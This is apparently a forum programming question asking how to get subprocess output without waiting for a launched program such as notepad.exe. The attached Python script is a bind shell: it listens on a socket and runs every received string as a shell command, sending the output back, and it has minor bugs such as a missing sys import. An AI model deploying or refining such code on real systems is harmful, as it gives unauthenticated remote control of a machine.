if i set command1 = "start notepad.exe" is there a way to make the script output gino.stdout and gino.stderr without waiting for notepad.exe to be closed?
import socket
import subprocess
import os
HOST = '//' #
PORT = 8081 #
server = socket.socket()
server.bind((HOST, PORT))
# print('[+] Server Started')
# print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
# print(f'[+] {client_addr} Client connected to the server')
while True:
command = client.recv(4096)
command1 = command.decode()
print(command1)
if command1 != "exit":
gino = subprocess.run(command1, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True)
risposta = gino.stdout + gino.stderr
if risposta != b"":
client.send(risposta)
print(risposta)
else:
v = "Executed " + command1
print(v)
client.send(v.encode())
else:
client.close()
sys.exit()